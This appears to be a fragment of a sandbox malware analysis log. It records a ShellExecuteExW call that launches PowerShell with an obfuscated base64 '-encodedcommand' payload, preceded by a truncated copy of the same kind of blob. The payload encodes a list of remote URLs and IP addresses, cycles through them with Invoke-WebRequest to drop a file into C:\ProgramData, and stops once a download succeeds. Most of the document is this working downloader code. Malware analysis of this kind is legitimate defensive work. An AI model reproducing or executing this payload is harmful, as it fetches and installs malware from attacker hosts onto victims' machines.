EAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGEAUQBCAG0AQQBIAFEAQQBjAHcAQQA9ACIAOwAkAFIAZQB2AGkAdgBhAGwAaQBzAG0AIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABpAG0AbQBlAHIAZwBlAG4AdAApAC4ATABlAG4AZwB0AGgAOwAkAFIAZQBiAGwAbwBjAGsAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBlAFEAQgB3AEEARwA4AEEAWQBRAEIAcwBBAEcAOABBAGIAZwBCAGwAQQBHADAAQQBhAFEAQgBoAEEARgBJAEEAWgBRAEIAMgBBAEcAOABBAGIAQQBCADEAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYQBRAEIAegBBAEcAVQBBAFoAQQBBAHUAQQBIAE0AQQBaAFEAQQA9AE0ASQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAFkAUQBCADAAQQBIAEkAQQBiAHcAQgBzAEEARwBrAEEAZABBAEIAbABBAEUATQBBAFkAUQBCAHoAQQBHAEUAQQBiAFEAQgBoAEEASABJAEEAWQB3AEIAaABBAEMANABBAGUAUQBCAHYAQQBHAHMAQQBiAHcAQgBvAEEARwBFAEEAYgBRAEIAaABBAEEAPQA9ACIAOwAkAFMAdABlAG4AaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB3AEEAQwA0AEEATgBBAEEAeQBBAEMANABBAE0AUQBBAHcAQQBEAEUAQQBMAGcAQQB4AEEARABBAEEATQBRAEEAPQBCAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB5AEEARwBnAEEAYQBRAEIANgBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBNAEEAYgBBAEIAdgBBAEgAUQBBAGEAQQBCAHAAQQBHADQAQQBaAHcAQQA9AEIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAE0AQQBNAHcAQQB1AEEARABVAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADAAQQBDADQAQQBNAGcAQQB4AEEARABnAEEAQgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEgAVQBBAGIAZwBCAHUAQQBHAGsAQQBiAGcAQgBuAEEASABNAEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAUwBwAGUAYwB0AHIAbwBwAGgAbwB0AG8AbQBlAHQAcgBpAGMAUgBlAGEAbABsAG8AdABtAGUAbgB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBFAEEAZABRAEIAaABBAEcAcwBBAFoAUQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAYwBnAEIAbABBAEcASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBNAEEAYgB3AEIAcwBBAEcAdwBBAFoAUQBCAG4AQQBHAFUAQQBWAGgAYQBpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEcATQBBAFkAdwBCAHYAQQBIAGsAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAagBBAEcATQBBAFYAaABhAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAMABBAEcAZwBBAFoAUQBCAHMAQQBHAFUAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAegBBAEcAMABBAFUAdwBCAGgAQQBHADQAQQBkAEEAQgBwAEEARwBrAEEATABnAEIAMwBBAEcAVQBBAFkAZwBCAGoAQQBHAEUAQQBiAFEAQQA9ACIAOwBpAGYAIAAoACQAUgBlAHYAaQB2AGEAbABpAHMAbQAgAC0AZwBlACAAOQAyADQAMgA5ACkAewAkAG0AZQByAGwAbwBuAHMARABhAGMAdAB5AGwAaQBvAGcAbAB5AHAAaAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE8AUQBBAHUAQQBEAGsAQQBOAHcAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBADMAQQBEAEUAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE0AdwBBAHUAQQBEAEkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAMQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQA9AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWQBRAEIAawBBAEcAawBBAGIAdwBCADAAQQBHAFUAQQBiAEEAQgBsAEEASABBAEEAYQBBAEIAdgBBAEcANABBAFoAUQBCAEMAQQBHADgAQQBjAGcAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcAdwBBAGIAdwBCAHMAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBNAFEAQQAwAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9ACIAOwAkAGYAcgB1AGkAdAB3AG8AbQBlAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAegBBAEQAawBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQB1AEEARABJAEEATQBRAEEAMgBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAMgBBAEMANABBAE8AQQBBADIAQQBDADQAQQBNAGcAQQB5AEEARABFAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAD0AcwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAPQBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAGsAQQBHAGsAQQBjAEEAQgBzAEEARwA4AEEAYwB3AEIAdwBBAEcAOABBAGIAZwBCAGsAQQBIAGsAQQBiAEEAQgBwAEEARwBNAEEAUwBRAEIAdABBAEgAQQBBAGEAUQBCAHUAQQBHAGMAQQBaAFEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFkAUQBCAG0AQQBHAFkAQQBiAEEAQgAxAEEASABnAEEAWgBRAEIAegBBAEUATQBBAFkAUQBCADEAQQBHAFEAQQBhAFEAQgBzAEEARwB3AEEAYgB3AEIAegBBAEMASQBBAE8AdwBBAGsAQQBHAFkAQQBiAHcAQgB5AEEASABJAEEAWQBRAEIAawBBAEcAVQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARwBJAEEAYgB3AEIAMABBAEcAOABBAGIAZwBCAGwAQQBHAFUAQQBJAGcAQQA3AEEAQwBRAEEAZAB3AEIAcABBAEcATQBBAGEAdwBCAGwAQQBIAEkAQQBZAGcAQgA1AEEARQBZAEEAYwBnAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBhAFEAQgBrAEEARwBFAEEAYgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBIAEkAQQBhAEEAQgBwAEEARwA0AEEAYgB3AEIAaQBBAEcARQBBAGQAQQBCADEAQQBIAE0AQQBJAGcAQQA3AEEAQwBRAEEAYwBBAEIAegBBAEgAawBBAFkAdwBCAG8AQQBHADgAQQBjAHcAQgB2AEEARwAwAEEAWQBRAEIAMABBAEcAawBBAFkAdwBCAFcAQQBIAFUAQQBiAEEAQgBuAEEARwBFAEEAYwBnAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAUwBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAE0AQQBiAHcAQgB5AEEASABJAEEAWgBRAEIAcwBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgBDAEEARwBVAEEAYgBnAEIAagBBAEcAZwBBAGQAdwBCAGgAQQBIAEkAQQBiAFEAQgBsAEEASABJAEEASQBnAEEANwBBAEcATQBBAGIAUQBCAGsAQQBDAEEAQQBMAHcAQgBqAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBaAEEAQgAxAEEASABNAEEAZABBAEIAdgBBAEgAVQBBAGMAZwBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQwB3AEEAYgBRAEIAdgBBAEgASQBBAFoAUQBBADcAQQBDAFEAQQBVAEEAQgA1AEEARwB3AEEAYgB3AEIAeQBBAEcAawBBAGMAdwBCADAAQQBHAFUAQQBiAGcAQgB2AEEASABNAEEAYQBRAEIAegBBAEYAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgB2AEEARwA0AEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCADEAQQBHADQAQQBjAHcAQgBsAEEASABJAEEAWgBnAEIAcwBBAEcAawBBAGEAdwBCAGwAQQBDAEkAQQBPAHcAQQBrAEEARwBNAEEAYgB3AEIAdQBBAEcAawBBAFoAZwBCAGwAQQBIAEkAQQBiAHcAQgAxAEEASABNAEEAUQBRAEIAeQBBAEcAYwBBAGQAUQBCAG0AQQBHAGsAQQBaAFEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFUAQQBCAHoAQQBIAGsAQQBiAEEAQgBzAEEARwBrAEEAZABRAEIAdABBAEUAVQBBAFkAdwBCAHcAQQBHAGcAQQBiAHcAQgB5AEEARwBrAEEAZQBnAEIAbABBAEMASQBBAE8AdwBBAD0AIgA7ACQAVQBuAGQAZQByAHYAZQBuAHQAaQBsAGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdABBAEcAOABBAGIAZwBCADAAQQBHAFUAQQBkAGcAQgBwAEEARwBRAEEAWgBRAEIAdgBBAEMANABBAGQAUQBCAHIAQQBBAD0APQBJAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBsAEEASABnAEEAYwBBAEIAdgBBAEgATQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEASABZAEEAWgBRAEIAbgBBAEcARQBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "JABNAGUAYQBuAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAGcAQQBNAFEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE0AUQBBADUAQQBEAEEAQQAiADsAJABzAHQAdQBmAGYAaQBuAGUAcwBzAFAAYQByAGIAbwBpAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBOAFEAQQB1AEEARABFAEEATgBnAEEAeABBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABnAEEATQBRAEEAPQBOAFQAdABrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAG8AQQBHADgAQQBZAFEAQgA0AEEARwBVAEEAWgBBAEIASQBBAEcAOABBAGIAdwBCAHcAQQBHAFUAQQBjAGcAQQB1AEEARwBNAEEAYgBnAEEAPQAiADsAJABDAG8AbABpAGMAawBlAHIASABhAGUAbQBhAHQAbwBtAGEAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGEAUQBCAGwAQQBIAEkAQQBiAHcAQgBuAEEARwB3AEEAZQBRAEIAdwBBAEcAZwBBAGEAUQBCAGoAQQBHAEUAQQBiAEEAQQB1AEEARwBNAEEAYgB3AEIAdgBBAEcAdwBBAEwAdwBCAFgAQQBIAG8AQQBjAEEAQgBtAEEARQBnAEEATAB3AEIAdwBBAEcANABBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQB3AEIAbABBAEgAQQBBAGQAQQBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAUwBBAEgAVQBBAGMAdwBCAG8AQQBHAEkAQQBkAFEAQgB6AEEARwBnAEEATABnAEIAagBBAEcAOABBAEwAdwBCADIAQQBFAEkAQQBWAHcAQgBhAEEAQwA4AEEAZABnAEIATABBAEgAWQBBAE4AdwBCADYAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAFYAQQBEAFEAQQBlAEEAQQAwAEEARABnAEEAVAB3AEIAdwBBAEYAbwBBAFoAZwBCAHQAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAGMAdwBBADAAQQBIAG8AQQBTAFEAQgB4AEEARABJAEEAWQBRAEIAaABBAEgAZwBBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE8AUQBBAHYAQQBHADQAQQBkAHcAQQAwAEEARQB3AEEAZABBAEEAdgBBAEgAYwBBAFUAUQBCAEoAQQBIAEkAQQBkAGcAQQA9ACIAOwAkAGEAdAB0AG8AcgBuAGUAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHcAQQBHAFUAQQBjAGcAQgBsAEEASABJAEEAUwBBAEIAdgBBAEcANABBAGIAdwBCADEAQQBIAEkAQQBjAHcAQQB1AEEASABjAEEAYgB3AEIAeQBBAEcAcwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGUAcwB0AHIAdQBhAGwAIABpAG4AIAAkAEMAbwBsAGkAYwBrAGUAcgBIAGEAZQBtAGEAdABvAG0AYQBzACAALQBzAHAAbABpAHQAIAAiAEkAIgApACAAewAkAGsAaABlAGQAYQBoAEIAYQByAGIAaQB0AHUAcgBhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE8AUQBBAHUAQQBEAEkAQQBOAEEAQQA0AEEAQwA0AEEATQBRAEEAMwBBAEQAZwBBAEwAZwBBADUAQQBEAEkAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAGEAUQBCADAAQQBIAFEAQQBiAHcAQgBsAEEASABNAEEATABnAEIAdwBBAEcAawBBAFkAdwBCAHoAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBRAEEAeQBBAEQAawBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQA9ACIAOwAkAFMAdQBiAHAAaABhAHMAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBADAAQQBBAD0APQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEcARQBBAGIAUQBCAHcAQQBIAE0AQQBhAFEAQgAwAEEARwBVAEEAYwB3AEIARgBBAEgAWQBBAGIAdwBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAbQBBAEcAOABBAGQAUQBCAHUAQQBHAFEAQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9ACIAOwAkAHMAYwBpAG8AbABpAHMAbQBSAGUAZQBqAGUAYwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgB4AEEASABVAEEAYQBRAEIAMABBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAdAByAHkAIAB7ACQAUgBvAGEAZABzAHQAZQBhAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQAwAEEARABrAEEAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQAxAEEAQwA0AEEATQBRAEEAeQBBAEQASQBBAEwAZwBBAHkAQQBEAE0AQQBNAEEAQQB1AEEARABFAEEATQB3AEEAeQBBAEEAPQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWQBRAEIAeQBBAEcARQBBAGIAQQBCAHYAQQBHAGMAQQBhAFEAQgBqAEEARwBrAEEAWQBRAEIAdQBBAEMANABBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AUQBBADMAQQBEAGcAQQBMAGcAQQB5AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AUQBBADMAQQBBAD0APQAiADsAJABrAGkAbABsAGQAZQBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABnAEEATABnAEEAeABBAEQASQBBAE8AUQBBAD0AIgA7ACQAcwBwAG8AdQB0AGUAcgBzAEgAZQBzAHMAaQBhAG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAGIAQQBCAHYAQQBIAEEAQQBjAEEAQgBwAEEARwA0AEEAWgB3AEIASwBBAEcAVQBBAFoAUQBCADMAQQBHAGcAQQBhAFEAQgBzAEEARwB3AEEAYQBRAEIAcgBBAEcAVQBBAGIAZwBCAHoAQQBDADQAQQBaAEEAQgBwAEEARwBFAEEAYgBRAEIAdgBBAEcANABBAFoAQQBCAHoAQQBBAD0APQBsAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBTAEEARwBFAEEAZQBBAEIAcABBAEcANABBAFoAdwBCAEoAQQBHADQAQQBkAEEAQgBsAEEASABJAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AIgA7ACQATwBiAHMAbwBsAGUAcwBjAGUAZAAgAD0AIAAkAGUAcwB0AHIAdQBhAGwAOwAkAHMAbABhAHQAaQBuAGcAcwAgAD0AIAAiAFoAQQBCADEAQQBIAE0AQQBkAEEAQgB2AEEASABVAEEAYwBnAEEAdQBBAEcAUQBBAGIAQQBCAHMAQQBBAD0APQAiADsAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE8AYgBzAG8AbABlAHMAYwBlAGQAKQApADsAJABpAG0AbQBlAHIAZwBlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABzAGwAYQB0AGkAbgBnAHMAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAaQBtAG0AZQByAGcAZQBuAHQAOwAkAFIAbwBhAGQAcwB0AGUAYQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMABBAEQAawBBAGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAMQBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATQBBAEEAdQBBAEQARQBBAE0AdwBBAHkAQQBBAD0APQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAHkAQQBHAEUAQQBiAEEAQgB2AEEARwBjAEEAYQBRAEIAagBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAWgBRAEEAPQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADMAQQBDADQAQQBNAFEAQQAzAEEARABnAEEATABnAEEAeQBBAEQATQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQQA9AD0AIgA7ACQAawBpAGwAbABkAGUAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHgAQQBEAEkAQQBPAFEAQQA9ACIAOwAkAHMAcABvAHUAdABlAHIAcwBIAGUAcwBzAGkAYQBuAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBiAEEAQgB2AEEASABBAEEAYwBBAEIAcABBAEcANABBAFoAdwBCAEsAQQBHAFUAQQBaAFEAQgAzAEEARwBnAEEAYQBRAEIAcwBBAEcAdwBBAGEAUQBCAHIAQQBHAFUAQQBiAGcAQgB6AEEAQwA0AEEAWgBBAEIAcABBAEcARQBBAGIAUQBCAHYAQQBHADQAQQBaAEEAQgB6AEEAQQA9AD0AbABPAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEcARQBBAGUAQQBCAHAAQQBHADQAQQBaAHcAQgBKAEEARwA0AEEAZABBAEIAbABBAEgASQBBAGIAQQBCAHYAQQBHAE0AQQBZAFEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGEAUQBCAG0AQQBIAFEAQQBjAHcAQQA9ACIAOwAkAFIAZQB2AGkAdgBhAGwAaQBzAG0AIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABpAG0AbQBlAHIAZwBlAG4AdAApAC4ATABlAG4AZwB0AGgAOwAkAFIAZQBiAGwAbwBjAGsAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBlAFEAQgB3AEEARwA4AEEAWQBRAEIAcwBBAEcAOABBAGIAZwBCAGwAQQBHADAAQQBhAFEAQgBoAEEARgBJAEEAWgBRAEIAMgBBAEcAOABBAGIAQQBCADEAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYQBRAEIAegBBAEcAVQBBAFoAQQBBAHUAQQBIAE0AQQBaAFEAQQA9AE0ASQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAFkAUQBCADAAQQBIAEkAQQBiAHcAQgBzAEEARwBrAEEAZABBAEIAbABBAEUATQBBAFkAUQBCAHoAQQBHAEUAQQBiAFEAQgBoAEEASABJAEEAWQB3AEIAaABBAEMANABBAGUAUQBCAHYAQQBHAHMAQQBiAHcAQgBvAEEARwBFAEEAYgBRAEIAaABBAEEAPQA9ACIAOwAkAFMAdABlAG4AaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB3AEEAQwA0AEEATgBBAEEAeQBBAEMANABBAE0AUQBBAHcAQQBEAEUAQQBMAGcAQQB4AEEARABBAEEATQBRAEEAPQBCAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB5AEEARwBnAEEAYQBRAEIANgBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBNAEEAYgBBAEIAdgBBAEgAUQBBAGEAQQBCAHAAQQBHADQAQQBaAHcAQQA9AEIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAE0AQQBNAHcAQQB1AEEARABVAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADAAQQBDADQAQQBNAGcAQQB4AEEARABnAEEAQgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEgAVQBBAGIAZwBCAHUAQQBHAGsAQQBiAGcAQgBuAEEASABNAEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAUwBwAGUAYwB0AHIAbwBwAGgAbwB0AG8AbQBlAHQAcgBpAGMAUgBlAGEAbABsAG8AdABtAGUAbgB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBFAEEAZABRAEIAaABBAEcAcwBBAFoAUQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAYwBnAEIAbABBAEcASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBNAEEAYgB3AEIAcwBBAEcAdwBBAFoAUQBCAG4AQQBHAFUAQQBWAGgAYQ